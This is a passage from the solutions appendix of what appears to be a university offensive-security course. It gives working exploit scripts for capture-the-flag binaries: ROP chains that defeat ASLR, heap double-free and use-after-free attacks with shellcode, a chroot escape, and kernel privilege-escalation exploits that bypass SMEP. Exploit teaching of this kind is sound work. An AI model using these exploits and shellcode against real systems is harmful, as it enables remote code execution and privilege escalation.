read()and call do_stuff(), then read()again and call echo(). There is another read() inside
echo(), and we need to be sure that aslr2 returs from this one too, and that the number of read bytes
is less than 7×8. When we send something on a TCP/IP connection, we are just adding bytes to a
stream. There is no a priori relation between our send()operations and the read()operations of
the server, since there are no message boundaries in a TCP/IP stream. If we want to be sure that two
send()operations will correspond to two distinct read()s, we have two choices:

1. send enough bytes to fill the read()buffer;
2. delay the second send()by a sufficient amount of time.

The second method is more robust if the delay is long enough, but the first one is faster and, if the
amout of bytes sent is relatively low (say, less than 1k) is robust enough (what we want to avoid, here,
is that the remote system may receive our data in more than one packet). In the following we use the
first method.

This is the first send operation: it should cause a return from the read() in child()and a call to
do_stuff().

aslr2.py48 s.send(b’1’+b’A’*511)

This second send shuld be served by the read()in child()when do_stuff()returns. We cause
read() to return again. This time we want the sever to call echo()

aslr2.py51 s.send(b’0’+b’A’*511)

Third send: this will be served by the read() in echo()and will return the information we need: the
value of do_stuff+52, stored in the eight bytes at offsets 7×8 to 7×8+7.

aslr2.py53 s.send(b’A’)
54 b = recvn(s, 128)
55 do_stuff_p52 = struct.unpack(’Q’, b[7*8:7*8+8])[0]

From this we can deduce the load address of the executable:

aslr2.py57 exe_base = do_stuff_p52 - do_stuff_off - 52
58
59 print("exe_base: %x" % exe_base)

Phase 2: defeat ASLR
Once we know the load address of aslr2 we can proceed as usual. The only difference is that our
copy of aslr2 will give us only the offsets of the ROP gadgets. We will then have to add the load
address to these offsets. We prepare a convenience function that does this:

aslr2.py74 rebase_1 = lambda x : p(x + exe_base)

We need to find another bug, though, since the one in echo()does not allow us to overflow buf.
There is indeed another bug in do_stuff(), since the number of bytes to be copied is taken from the
data sent by us (myatoi()).
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We use the same idea as for the other servers (Ex. 9.6 and 9.7): we inject a ROP chain that will
send us the executable’s GOT. Here are the gadgets and the data used in the exploit, extracted by the
usual means:

aslr2.py77 pop_rdi = rebase_1(0x167b)
78 pop_rsi_r15 = rebase_1(0x1679)
79 write_plt = rebase_1(0x1040)
80 got = rebase_1(0x34a0)
81 setsockopt_off = 0xff410
82 pad = 56

And here is the ROP chain:

aslr2.py89 rop = pop_rdi
90 rop += p(1)
91 rop += pop_rsi_r15
92 rop += got
93 rop += b’B’*8
94 rop += write_plt

We need to send the lenght of the payload, in ASCII, at the start of the payload itself. These characters
will also be copied by memcpy()and, therefore, are part of the padding that we use to reach the saved
return address. To simplify things, we always send 512 bytes.

Here is our payload. The pad-3 is to account for the three characters in “512”. The second
padding (with the Bs) is to fill the read()buffer (see above).

aslr2.py96 o = str(512).encode() + (pad-3)*b’A’ + rop
97 o += (512-len(o))*b’B’

We can reuse the same connection already created in Phase 1, since we have not caused any fault in the
server yet.

aslr2.py101 s.send(o)
102 b = recvn(s, 8)
103 s.close()
104 setsockopt_vaddr = struct.unpack(’Q’, b)[0]

From this we can deduce the address of the C library:

aslr2.py106 libc_base = setsockopt_vaddr - setsockopt_off

Phase 3: gain control

Now it is business as usual. We create the ROP chain that spawns the shell, we connect again (the first
connection has been closed by now, since we crashed the remote process) and steal the flag.
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aslr2.py112 rop = mkrop(b’’, libc_base)
113
114 o = str(512).encode() + (pad-3)*b’A’ + rop
115 o += (512-len(o))*b’B’
116
117 s = socket.create_connection((host, port))
118 s.send(o)
119 s.send(b’/bin/cat flag.txt\n’)
120 b = s.recv(200)
121 sys.stdout.buffer.write(b’flag: ’ + b)

14.1

chroot

The trick is that the chroot()system call only changes the root directory, leaving the current directory
as it is. So, if we run

mkdir x
chroot x sh

we have the root directory pointing to x, while the current directory is still pointing to the original
chroot. Now, when the kernel processes a .. from the current directory, it will no longer find a match
with the process root directory, and will allow us to navigate the rest of the filesystem:

cat ../root/secret

R This was easy to do because our chroot jail contained the chroot command. Also, our chroot
command only calls the chroot()system call, while the real chroot command also calls the
chdir()system call to make the two directories match again. However, an attacker who can
execute arbitrary code as root (e.g., due to an exploitable buffer overflow in a jailed sever) can
easily call the system calls themselves.

D.8 Heap

10.1

myheap0

We need to inject the payload shown in Figure 10.5. We write a myheap0.py script7 that outputs the
payload, and then we run it in the usual way, i.e.,

$ { python3 myheap0.py; cat; } | nc lettieri.iet.unipi.it 4460

We start by importing sys and struct, and by defining a convenience function for packing the
quadwords.

myheap0.py1 import sys
2 import struct
3
4 def p(a):
5 return struct.pack(’Q’, a)

7Available at https://lettieri.iet.unipi.it/hacking/sol/heap.zip.

https://lettieri.iet.unipi.it/hacking/sol/heap.zip
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Since PIE is disabled, &GOT[puts] can be obtained from the binary (“readelf -r myheap0 |
grep puts”)

myheap0.py19 puts_got = 0x403448

We need the address of a, from which we can compute the rest. The program prints it when we connect.

myheap0.py22 a_addr = 0x404010

The first quadword in the payload is the fake fd, pointing to the GOT entry minus ob.

myheap0.py77 r = p(puts_got - 3*8)

The second quadword is the fake bk, pointing to the first part of the shellcode, stored in this same
chunk.

myheap0.py79 r+= p(a_addr + 2*8)

This is the first part of the shellcode: we need to encode a jump to skip 24 bytes and reach the second
part. We can obtain the machine code with pwntools, e.g.:

$ asm -c amd64 ’x: jmp x + 24’

And we obtain the following two bytes:

myheap0.py81 r+= b’\xeb\x16’

Now we need some padding to reach the second part of the shellcode

myheap0.py83 r+= b’A’*22

An now the shellcode (obtained with “shellcraft -f string amd64.linux.sh”)

myheap0.py85 r+= b"jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7hri\x01"+\
86 b"\x01\x814\x24\x01\x01\x01\x011\xf6Vj\x08^H\x01"+\
87 b"\xe6VH\x89\xe61\xd2j;X\x0f\x05"

Now, more padding to reach the header of b.

myheap0.py89 r+= b’B’ * (256 - len(r))

The header starts with the boundary tag of a, containing its size. Recall that this is the full size of the
chunk, including its header.

myheap0.py92 r+= p(0x110)
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All the bytes above are still within the boundaries of a’s user memory. The next byte overflows into the
metadata of b. We rewrite the LSB of the header, to reset the PREV_INUSE flag.

myheap0.py94 r+= struct.pack(’B’, 0x10)

R Putting a p(0x110) would also work, but the 7 additional bytes would not be consumed by
the read()in the program, and would be seen by the shell, which would complain about a non
existent command.

Finally, we output the bytes of the payload:

myheap0.py96 sys.stdout.buffer.write(r)

10.2

myheap1

The program does not reset the pointer in values[] after a free(). This leads to a double-free
vulnerability that we can exploit by creating a loop in one fastbin list.

Assume we have created a key A (command aA). The program allocates a chunk and stores its
pointer into values[’A’]. We then delete the key two times (command dA), generating two calls to
free(values[’A’]). We can exploit this loop to obtain an arbitrary write primitive, as explained
in Section 10.2.1.

We choose to overwrite the GOT entry of free()with the address of system@plt (the latter
exists, because the program already calls system()). This is easy, in spite of ASLR, because the
program is not PIE and therefore both &GOT[free] and system@plt are at known addresses.

Redirecting free() is very convenient, since we control the contents of the chunks that we want
to free (it’s the value of the key), so we can easily forge a system("/bin/sh")call.

We write a myheap1.py script8 and start with the usual imports and def. For a change, we
handle the connection directly from Python, so we import socket too.

myheap1.py1 import sys
2 import struct
3 import socket
4
5 def p(a):
6 return struct.pack(’Q’, a)

We set the parameters of the connection:

myheap1.py64 host = ’lettieri.iet.unipi.it’
65 port = 4461

We obtain &GOT[free] with “readelf -r myheap1 | grep free”.

myheap1.py68 free_got = 0x403510

We obtain the address of system@plt with “objdump -d myheap1 | grep system@plt”.

myheap1.py70 system_plt = 0x401070

8See note 7.
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We create a socket connected to the server.

myheap1.py75 s = socket.create_connection((host, port))

In the following we always send exactly 8 bytes when we assign a key value. In this way we make sure
that the read()in assignkey()does not swallow up chars that were intended for the read()s in
child().

We allocate a first key:

myheap1.py77 s.send(b’aA’ + b’A’*8)

We delete the key twice, to create the fastbin loop.

myheap1.py79 s.send(b’dA’)
80 s.send(b’dA’)

We create a new key and overwrite fd with &GOT[free] minus 16 (steps 1 and 2 of the technique):

myheap1.py82 s.send(b’aB’ + p(free_got - 16))

We create a second key to copy the fake fd into the fastbin head (step 3). We also use this key to hold
the command that we want to execute

myheap1.py85 s.send(b’aC’ + b’/bin/sh\0’)

We create a third key. The key value will overwrite the GOT entry of free.

myheap1.py87 s.send(b’aD’ + p(system_plt))

Now we delete the C key. This will result in system("/bin/sh").

myheap1.py89 s.send(b’dC’)

Now we are talking to a shell. Let it send us the flag.

myheap1.py91 s.send(b’/bin/cat flag.txt\n’)
92 sys.stdout.buffer.write(s.recv(500))

10.3

myheap1b

The check can be easily circumvented if we free a different chunk between two dA operations.
We start our myheap1b script9 with the usual stuff.

myheap1b.py1 import sys
2 import struct
3 import socket
4

9See note 7.
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5 def p(a):
6 return struct.pack(’Q’, a)

myheap1b.py14 host = ’lettieri.iet.unipi.it’
15 port = 4467

myheap1b.py18 system_plt = 0x401070
19
20 s = socket.create_connection((host, port))

Allocate a first key.

myheap1b.py23 s.send(b’aA’ + b’A’*8)

Allocate a second key.

myheap1b.py25 s.send(b’aE’ + b’E’*8)

Delete A a first time.

myheap1b.py27 s.send(b’dA’)

Delete E, putting it at the head of the fastbin list.

myheap1b.py29 s.send(b’dE’)

The fastbin list is now as follows:

. . .

. . .
. . .
. . .

. . .

. . .

. . .
NULL
. . .

arena
E

fd

A

fd

Delete A a second time. The integrity check will not detect anything wrong, since the head of the list is
E and we are deleting A.

myheap1b.py71 s.send(b’aB’ + p(free_got - 16))

Now the list becomes:

. . .

. . .
. . .
. . .

. . .

. . .

. . .

. . .

arena
E

fd

A

fd
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And we still have a loop: arena−→ A−→ E−→ A−→ ·· · .
Create a new key (where A was) and overwrite fd.

myheap1b.py71 s.send(b’aB’ + p(free_got - 16))

. . .

. . .
. . .
. . .

. . .

. . .

. . .
free_hook− 16

. . .

arena
E

fd

A/B

fd

Create a second key to skip the old E.

myheap1b.py73 s.send(b’aF’ + b’f’*8)

. . .

. . .
. . .
. . .

ff. . .f
. . .

. . .

. . .
free_hook− 16

. . .

arena
E/F

fd

A/B

fd

Create a third key (overlapping the old A and now B) to copy fd into the fastbin head. We also use this
key to hold the command that we want to execute.

myheap1b.py77 s.send(b’aC’ + b’/bin/sh\0’)

. . .
free_hook− 16

. . .
. . .
. . .

ff. . .f
. . .

. . .

. . .
"/bin/sh"

. . .

arena
E/F

fd

A/B/C

fd

Create a fourth key. The key contents will overwrite __free_hook.

myheap1b.py79 s.send(b’aD’ + p(system_plt))

Now we delete the C key. This will result into system("/bin/sh").

myheap1b.py81 s.send(b’dC’)

Now we are talking to a shell. Let it send us the flag.

myheap1b.py83 s.send(b’/bin/cat flag.txt\n’)
84 sys.stdout.buffer.write(s.recv(500))
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10.4

myheap2

Unlike myheap1, myheap2 does not contain any call to system(). This means that this time we do not
have a PLT entry or GOT entry for system()at a known address. If we want to jump to system(),
we need to leak the load address of the C library. Since the program now implements the s command
to read the contents of a key, we can exploit the double-free vulnerability to create a fake chunk that
overlaps the GOT. Reading the chunk will reveal the contents of the GOT.

We start the myheap2.py script10 as in myheap1.

myheap2.py1 import sys
2 import struct
3 import socket
4
5 def p(a):
6 return struct.pack(’Q’, a)

myheap2.py16 host = ’lettieri.iet.unipi.it’
17 port = 4462

We extract the required information from myheap2. . .

myheap2.py20 free_got = 0x403238
21 setsockopt_got = 0x403228

. . . and from libc.so.6.

myheap2.py23 setsockopt_off = 0xff410
24 system_off = 0x48e50

First part: leak the address of setsockopt from the GOT
Connect to the server a first time.

myheap2.py27 s = socket.create_connection((host, port))

Create a first object.

myheap2.py29 s.send(b’cA08’)

Create the fastbin loop.

myheap2.py31 s.send(b’dA’)
32 s.send(b’dA’)

Create a new object of the same size (the address of A will be reused).

myheap2.py34 s.send(b’cB08’)

10See note 7.
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Overwrite the fd pointer with &GOT[setsockopt] minus 16.

myheap2.py37 s.send(b’aB’ + p(setsockopt_got - 16))

Allocate a new object of the same size, thus moving the fake fd into the fastbin head.

myheap2.py40 s.send(b’cC08’)

Allocate yet another object of the same size. This will overlap the GOT entry of setsockopt.

myheap2.py43 s.send(b’cD08’)

Read the last object. This will send us the address of setsockopt.

myheap2.py45 s.send(b’sD’)
46 b = b’’
47 while len(b) < 8:
48 b += s.recv(8 - len(b))
49 setsockopt_addr = struct.unpack(’Q’, b[:8])[0]
50 print("setsockopt_addr: %x" % setsockopt_addr)

The offset of setsockopt inside the libc is known from the libc.so.6 binary, so we can now
obtain the load address of the libc.

myheap2.py53 libc_base = setsockopt_addr - setsockopt_off
54 print("libc_base: %x" % libc_base)
55 s.close()

Second part: jump to system()

Once we know the load address of libc we can reuse the same exploit of myheap1, except that this time
we jump to system() instead of system@plt.

myheap2.py60 s = socket.create_connection((host, port))
61 s.send(b’cA08’)
62 s.send(b’dA’)
63 s.send(b’dA’)
64 s.send(b’cB08’)
65 s.send(b’aB’ + p(free_got - 16))
66 s.send(b’cC08’)
67 s.send(b’aC/bin/sh\0’)
68 s.send(b’cD08’)
69 s.send(b’aD’ + p(libc_base + system_off))
70 s.send(b’dC’)
71 s.send(b’/bin/cat flag.txt\n’)
72 sys.stdout.buffer.write(s.recv(200))
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10.5

myheap1c

We can’t overwrite the GOT because the binary has been compiled with full RELRO. We then overwrite
the __free_hook in the malloc library. This hook is a GNU libc extension to malloc and allows the
programmer to intercept all calls to free() (there is a similar one for malloc(), and more). The
hook receives the same pointer passed to the original free(), and this is very convenient for us, since
we can reuse the same idea from myheap1: we let __free_hook point to system()and write the
/bin/sh string at the start of the allocated memory, thus obtaining a call to system("/bin/sh").

With this idea, the solution is very similar to the one for myheap1. We write a myheap1c.py script11

that starts in the usual way.

myheap1c.py1 import sys
2 import struct
3 import socket
4
5 def p(a):
6 return struct.pack(’Q’, a)
7
8 host = ’lettieri.iet.unipi.it’
9 port = 4466

The free hook is in the malloc-2.7.2.so dynamic library. This time the server is running with
ASLR disabled, so we can run the server locally to find the address of the hook (“p &__free_hook”
in the debugger):

myheap1c.py24 free_hook = 0x7ffff7fc90d0

The address of the PLT of system, obtained with

$ objdump -d myheap1c | grep systemplt

myheap1c.py26 system_plt = 0x401070

Connect to the server.

myheap1c.py28 s = socket.create_connection((host, port))

Allocate a first key.

myheap1c.py30 s.send(b’aA’ + b’A’*8)

Delete it two times, creating the loop in the fastbin.

myheap1c.py32 s.send(b’dA’)
33 s.send(b’dA’)

11See note 7.
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Create a new key and overwrite fd.

myheap1c.py35 s.send(b’aB’ + p(free_hook - 16))

Create a second key to copy fd into the fastbin head. We also use this key to hold the command that
we want to execute.

myheap1c.py38 s.send(b’aC’ + b’/bin/sh\0’)

Create a third key. The key contents will overwrite __free_hook.

myheap1c.py40 s.send(b’aD’ + p(system_plt))

Now we delete the C key. This will result into system("/bin/sh").

myheap1c.py42 s.send(b’dC’)

Now we are talking to a shell. Let it send us the flag.

myheap1c.py44 s.send(b’/bin/cat flag.txt\n’)
45 sys.stdout.buffer.write(s.recv(500))

10.6

objects1

This binary does not contain the __free_hook, but it allocates C++ objects that define virtual
functions. These objects will have a vtable pointer in their first 8 bytes, pointing to the table of pointers
to virtual functions. By creating a fake vtable we can redirect execution where we want. By using a
one gadget, we also do not need to control the arguments.

To install our fake vtable we exploit the user-after-free bug in the program: addresses of created
objects are not reset when the objects are deleted.

Note that, this time, we are not exploiting or overwriting heap meta-data, so we also omit to draw
the chunk headers below.

Assume we first create an ’A’ object with type, e.g., Base (command oAb..). This will lead to:

. . .

. . .
vtable ptr

. . .

objects[]

’A’

Base::vtable

Base::foo()

Now we delete the object ’A’ and create a key of the same size as an object. The memory of the ’A’
object will be reused for the key’s value, but objects[’A’] will still contain a pointer to it:

. . .

. . .
vtable ptr

. . .

. . .

. . .

objects[]

’A’

Base::vtable

values[]

’K’

Base::foo()
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The value assigned to key ’K’ will overwrite the vtable pointer inside object ’A’. We only need to
create a new key, ’V’ say, that contains a fake vtable and let ’A’ point to it:

. . .

. . .
vtable ptr

. . .

. . .

. . .

. . .

objects[]

’A’

Base::vtable

values[]

’K’

’V’

fake vtable

Base::foo()

one gadget

We start our objects1.py script12 in the usual way. This time, however, we add a couple of
convenience functions to read until we see a newline, and to read exactly n bytes.

objects1.py1 import sys
2 import struct
3 import socket
4
5 def p(a):
6 return struct.pack(’Q’, a)
7
8 def recvline(s):
9 b = b’’

10 while not b’\n’ in b:
11 b += s.recv(100)
12 return b
13
14 def recvn(s, n):
15 b = b’’
16 while len(b) < 8:
17 b += s.recv(8 - len(b))
18 return b
19
20 host = ’lettieri.iet.unipi.it’
21 port = 4463

The process runs with ASLR disabled. We assume that we can obtain the load address of the libc by
running a copy of the program in a similar system. Otherwise, the address can be leaked using the same
method used for myheap2 (see also objects2).

objects1.py100 one_gadget = 0x00007ffff7c38000 + 0xcbd20

Connect to the server.

12See note 7.
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objects1.py102 s = socket.create_connection((host, port))

Create a fake vtable pointing to the one gadget.

objects1.py104 s.send(b’cV08’)
105 vtable_addr = int(recvline(s).decode(), 0)
106 s.send(b’aV’ + p(one_gadget))

Setup the user-after-free bug.

objects1.py109 s.send(b’oAb00’)
110 s.send(b’DA’)
111 a1 = recvline(s)
112 s.send(b’cK16’)
113 a2 = recvline(s)

Just for debugging: check that ’K’ is indeed reusing the address of ’A’.

objects1.py115 if (a1 != a2):
116 print("unexpected error: %r != %r" % (a1, a2))
117 exit()

Redirect the vtable pointer of the ’A’ object to our fake vtable.

objects1.py120 s.send(b’aK’ + p(vtable_addr) + p(0))

Trigger the user-after-free bug.

objects1.py123 s.send(b’uA’)

Now we should be talking to a shell. Capture the flag.

objects1.py126 s.send(b’/bin/cat flag.txt\n’)
127 sys.stdout.buffer.write(recvline(s))

10.7

objects2

This is exactly the same program as objects1, but it is compiled with all available protections. In
particular, the binary is PIE and its load address is unknown. However, we can leverage its use-after-free
and double-free bugs to leak all the addresses that we need. First we leak the executable load address,
by reading the vtable pointer of one of the allocated objects, then we leak some GOT address, as usual.

We start our objects2.py file13 as in objects1.

objects2.py1 import sys
2 import struct
3 import socket

13See note 7.
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4
5 def p(a):
6 return struct.pack(’Q’, a)
7
8 def recvline(s):
9 b = b’’

10 while not b’\n’ in b:
11 b += s.recv(100)
12 return b
13
14 def recvn(s, n):
15 b = b’’
16 while len(b) < 8:
17 b += s.recv(8 - len(b))
18 return b
19
20 host = ’lettieri.iet.unipi.it’
21 port = 4464

We need the offset of the vtables in the executable. Since the binary has not been stripped, we can
easily obtain them from the symbol table. We choose the vtable of the Base class.

$ nm objects2 | grep _ZTV4Base

Recall that we have to add 16 to the value of the symbol (see example 10.5 in Section 10.6).

objects2.py32 Base_vtable_off = 0x7c60

The offset of &GOT[exit] in the executable, from “readelf -r objects2 | grep exit”.

objects2.py34 exit_got_off = 0x7f78

The offset of exit in the libc, from “nm -D libc.so.6 | grep exit”.

objects2.py36 exit_libc_off = 0x3e660

The offset of a one gadget in the libc.

objects2.py38 one_gadget_off = 0xcbd20

Phase I: leak the EXE address
Connect to the server.

objects2.py43 s = socket.create_connection((host, port))

Create an object and delete it twice. The recvlines()s discard the replies that we don’t need.
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objects2.py46 s.send(b’oAb00’)
47 recvline(s)
48 s.send(b’DA’)
49 s.send(b’DA’)

The state is now this:

. . .

. . .

. . .

. . . . . .

arena

objects[]

’A’

The fd link has overwritten the vtable pointer of object ’A’. However, the loop allows us to make two
further allocations that will reuse the same chunk used by ’A’. First we allocate another object:

objects2.py51 s.send(b’oBb00’)
52 recvline(s)

The new state is as follows:

. . .

. . .

. . .

. . .

vtable pointer

arena

objects[]

’A’
’B’

Now the first 8 bytes of the user memory of the chunk contain a vtable pointer, and the fastbin head in
the arena still points to the same chunk. This means that we can allocate a key that overlaps the object:

objects2.py54 s.send(b’cK08’)
55 recvline(s)

Here is the final state (we omit to show the arena and the chunk header, which are not important
anymore):
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. . .

. . .

. . .

. . .

vtable pointer

objects[]

values[]

’A’
’B’

’K’

Now we can read the key ’K’: this sends us the first 8 bytes of object ’B’, i.e., its vtable pointer, from
which we can obtain the load address of the executable.

objects2.py57 s.send(b’sK’)
58 Base_vtable = int.from_bytes(recvn(s, 8), ’little’)
59
60 exe_base = Base_vtable - Base_vtable_off
61 print("exe load address: %x" % exe_base)
62 s.send(b’q’)
63 s.close()

Phase II: leak the address of libc
We exploit the double-free again to overlay a value with part of the GOT. Because of the full RELRO,
all the GOT entries point into the C library and can be used to leak libc addresses. To prove the point,
we leak the entry of exit(), even if this function has not been called yet.
Connect a second time.

objects2.py70 s = socket.create_connection((host, port))

This follows closely the classical exploitation of a fastbin loop. First, we create the loop by inducing a
double free:

objects2.py72 s.send(b’oAb00’)
73 recvline(s)
74 s.send(b’DA’)
75 s.send(b’DA’)

Allocate a key that overlaps object ’A’ (step 1) and overwrite fd with the target address minus 16
(step 2):

objects2.py77 s.send(b’cA08’)
78 recvline(s)
79 s.send(b’aA’ + p(exe_base + exit_got_off - 16))

Allocate another key, to copy the target address in the fastbin head (step 3):
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objects2.py81 s.send(b’cB08’)
82 recvline(s)

Allocate the final key, which will point to &GOT[exit].

objects2.py84 s.send(b’cC08’)
85 recvline(s)

Get the key contents and compute the libc load address.

objects2.py87 s.send(b’sC’)
88 exit_libc_addr = int.from_bytes(recvn(s, 8), ’little’)
89
90 libc_base = exit_libc_addr - exit_libc_off
91 print("libc load address: %x" % libc_base)
92 s.send(b’q’)
93 s.close()

Phase III: gain control

We can finally compute the absolute address of the one gadget:

objects2.py95 one_gadget = libc_base + one_gadget_off

From this point on, the exploit is essentially the same as in objects1.

objects2.py99 s.send(b’cV08’)
100 vtable_addr = int(recvline(s).decode(), 0)
101 s.send(b’aV’ + p(one_gadget))
102 s.send(b’oAb00’)
103 s.send(b’DA’)
104 recvline(s)
105 s.send(b’cK16’)
106 recvline(s)
107 s.send(b’aK’ + p(vtable_addr) + p(0))
108 s.send(b’uA’)
109 s.send(b’/bin/cat flag.txt\n’)
110 sys.stdout.buffer.write(recvline(s))

D.9 Kernel exploitation

12.1

kernel1

The kernel runs with most protections disabled (canaries, KASLR, SMEP/SMAP). We can then mount
a classic return-to-userspace attack: we overwrite the return address of the vuln-module write method
with the address of a function in our own program. The function will upgrade the credentials of the
current process to root, then return to userspace into another function, which will spawn a shell.
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We write an exploit.c file14. We start by including some necessary header files:

kernel1/exploit.c1 #include <sys/types.h>
2 #include <sys/stat.h>
3 #include <fcntl.h>
4 #include <unistd.h>
5 #include <stdio.h>
6 #include <stdlib.h>
7 #include <string.h>

Then we declare the functions defined in the supplied asm_exploit.s file:

kernel1/exploit.c19 extern void asm_exploit(void);
20 extern void get_regs(void);

We define a constant with the offset from the vuln_write()buffer and its saved rip:

kernel1/exploit.c26 #define OFFSET 56

And a buffer that will contain our payload, which will include OFFSET bytes plus an additional line (8
bytes) that will overwrite the saved rip:

kernel1/exploit.c30 #define PAYLOAD_LINES 1
31
32 #define PAYLOADSZ (OFFSET + PAYLOAD_LINES * sizeof(unsigned long))
33 char payload[PAYLOADSZ];

In the main function, we first call get_regs(), to initialise the user_cs, user_ss and the
user_flags variables used in the last part of asm_exploit:

kernel1/exploit.c42 get_regs();

Then we start preparing our payload, first with the garbage bytes needed to reach the saved rip

kernel1/exploit.c45 for (p = payload; p < payload + OFFSET; p++) {
46 *p = ’A’;

and then with the address of asm_exploit:

kernel1/exploit.c49 memcpy(p, &asm_exploit, sizeof(&asm_exploit));

To inject the payload in the vulnerable device, we first open it:

kernel1/exploit.c52 fd = open("/dev/vuln", O_WRONLY);
53 if (fd < 0) {

14Available at https://lettieri.iet.unipi.it/hacking/sol/kernel.zip.

https://lettieri.iet.unipi.it/hacking/sol/kernel.zip
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54 perror("/dev/vuln");
55 exit(1);
56 }

and then write() into it:

kernel1/exploit.c59 (void)write(fd, payload, PAYLOADSZ);

The kernel will call vuln_write()with our buffer, the function will overwrite its own saved rip
and, on ret, it will jump to asm_exploit, which will then jump to cont(). If everything is
working as intended, the write()call should never return: if it does, we did something wrong (most
likely OFFSET was insufficient to reach the saved rip):

kernel1/exploit.c

64 printf("If you see this the offset is probably wrong\n");
65 exit(1);

The main()function ends here. Then we define our cont()function, which spawns a shell:

kernel1/exploit.c69 void cont()
70 {
71 system("/bin/sh");
72 /* try to exit cleanly when the shell terminates */
73 _exit(0);
74 }

Note: we don’t try to return from this function, since we arrived here in an unconventional way and
there is no return address on the current stack.

Now we can compile and link our exploit.c and asm_explit.s files. As suggested in the
text, we use -static, to avoid problems with mismatched dynamic libraries:

$ gcc -o kernel1 -static exploit.c asm_exploit.s

(Add -znoexecstack if gcc complains about the executable stack, see Section 9.1.4.2.) Now we
can connect to the remote system and copy our kernel1 file by following the instructions that we
receive. Then we run

$ shared/kernel1
# cat /root/flag.txt

12.2

kernel2

We create a small ROP chain that overwrites cr4 and resets the SMEP-enable bit (number 20 counting
from zero), then continues like in the solution of exercise 12.1.

We can reuse essentially the same asm_exploit.s file as in exercise 12.1 and write a new
exploit.c file15. Since the binary is the same, the OFFSET from the overflown buffer to the saved
rip is the same (56 bytes). After the 56 bytes of padding, we want to inject the following ROP chain:

15See note 14.
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4a280081ffffffff

f006440000000000

a8450481ffffffff
user_flags

9ec30381ffffffff

pop rdi; ret

pop rdx; ret

mov cr4, rdi; push rdx; popf; ret

asm_exploit

The necessary gadgets can be easily found in the provided gadgets-2 file. The value 0x4406f0 to
load in cr4 (through rdi) can be obtained by letting the machine crash once and observing the value
of cr4 printed by the kernel, and then reset bit 20 (0x100000). The value that we load in rdx will
end up in rflags: we try to reuse user_flags, computed by get_regs().

The proposed solution reuses the structure of the exploit.c of the solution of exercise 12.1. We
comment only on the differences. We declare user_flags, defined in asm_exploit.s (we also
have to modify asm_exploit.s to add “.global user_flags”):

kernel2/exploit.c28 extern unsigned long user_flags;

We change the number of payload lines to match the size of the ROP chain:

kernel2/exploit.c32 #define PAYLOAD_LINES 6

In the main function we add a rop variable:

kernel2/exploit.c42 unsigned long *rop;

Then, after the for loop that fills the padding bytes, we put our ROP chain instead of the old payload:

kernel2/exploit.c49 rop = (unsigned long *)p;
50 *rop++ = 0xffffffff8100284a; // pop rdi
51 *rop++ = 0x00000000004406f0; // new cr4 with SMEP disabled
52 *rop++ = 0xffffffff810445a8; // pop rdx
53 *rop++ = user_flags;
54 *rop++ = 0xffffffff8103c39e; // rdi -> cr4; rdx -> flags
55 *rop++ = (unsigned long)&asm_exploit;

The rest of the file remains the same, and we can build and run the new exploit just like we did in 12.1.

12.3

kernel3

To overcome the cr4 pinning defence, we do everything with ROP. There are many possibilities,
but the simplest it to just implement the old asm_exploit function using ROP gadgets. The only
problem is passing the return value of prepare_kernel_cred(NULL) to commit_creds().
There is no easy-to-use “mov rdi, rax” gadget available. However, there is a very convenient

add rdi, rax; cmp rdi, 3; setbe al; ret;

This gadget will copy rax into rdi if we initialize rdi with zero. (the setbe might overwrite al,
but only after the add).
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We write the usual asm_exploit.s and exploit.c files16. Since we reimplement asm_exploit
with ROP, our asm_exploit.s contains just the get_regs function:

k5.9-2/asm_exploit.s1 .global get_regs
2 get_regs:
3 movw %cs, user_cs
4 movw %ss, user_ss
5 pushfq
6 popq user_flags
7 ret

The structure of the exploit.c file is the one already used in the solutions of exercise 12.1 and 12.2,
so we comment only on the differences.

Since we need user_cs, user_ss, and user_flags only the C file, we declare them here:

kernel3/exploit.c25 unsigned long user_cs;
26 unsigned long user_ss;
27 unsigned long user_flags;

The same goes for the user stack that we use in the cont()function:

kernel3/exploit.c29 #define USTACKSZ 1024
30 unsigned char __attribute__((aligned(16))) user_stack[USTACKSZ];
31 unsigned char *user_stack_end =
32 user_stack + USTACKSZ - sizeof(unsigned long);

The OFFSET is still 56, but the lines of payload will be 14:

kernel3/exploit.c35 #define PAYLOAD_LINES 14

The cont()function and most of the main()function are the same, only the rop payload changes.
First, we load NULL into rdi:

kernel3/exploit.c60 *rop++ = 0xffffffff81001c3a; // pop rdi
61 *rop++ = 0;

and then we “call” preapare_commit_cred(NULL):

kernel3/exploit.c63 *rop++ = 0xffffffff81084e70;

We initialize rdi to 0 in preperation for the add rdi, rax:

kernel3/exploit.c65 *rop++ = 0xffffffff81001c3a; // pop rdi
66 *rop++ = 0;

16See note 14.
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Now we can copy rax to rdi:

kernel3/exploit.c68 *rop++ = 0xffffffff81532e3a; // add rdi, rax

And we can “call” commit_creds():

kernel3/exploit.c70 *rop++ = 0xffffffff81084f80; // commit_creds

Recall that we must call swapgs before returning to userspace (see Section 12.1.1). Luckily, we can
easily find “swapgs; ret” gadgets:

kernel3/exploit.c73 *rop++ = 0xffffffff818733c2; // swapgs

Now we can jump to iretq. Note that ropper finds “iretq; ret” gadgets, but we actually don’t
need the ret here and any iretq, even one that is not followed by ret, would be fine.

kernel3/exploit.c77 *rop++ = 0xffffffff81023922; // iretq

The iretq will take its 5 quadwords starting from here, so we inject the quadwords that will return to
the cont()function in userspace, with the user stack that we defined above:

kernel3/exploit.c79 *rop++ = (unsigned long)&cont;
80 *rop++ = user_cs;
81 *rop++ = user_flags;
82 *rop++ = (unsigned long)user_stack_end;
83 *rop++ = user_ss;

The ROP chain will look like Figure D.4.
The rest of the file remains the same, and we can build and run the new exploit just like we did

in 12.1.

D.10 Virtual Machine escape
13.1

vm1

We write an exploit.c file17 to get our exploit.ko kernel module. We start including the
standard header and declaring the licence; we also include asm/io.h to get the declaration of
outl():

vm1/exploit.c1 #include <linux/module.h>
2 #include <asm/io.h>
3
4 MODULE_LICENSE("Dual BSD/GPL");

We record the host virtual address of the guest memory, as printed by the hypervisor when we connect:

vm1/exploit.c11 unsigned long const guestmem = 0x7fffe3dbf000;

17Available at https://lettieri.iet.unipi.it/sol/vm-solutions.zip.

https://lettieri.iet.unipi.it/sol/vm-solutions.zip
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cont
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user_stack_end
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prepare_kernel_cred
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add rdi,rax; cmp rdi,3; setbe al; ret
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Figure D.4 – ROP chain created by the exploit of kernel3.

We copy the costants from hw/broken.c in the kvmtool sources. In particular, we need the I/O
addresses of the device’s ports:

vm1/exploit.c14 #define BROKEN_BASE 0x100
15 #define BROKEN_SNR (BROKEN_BASE + 0)
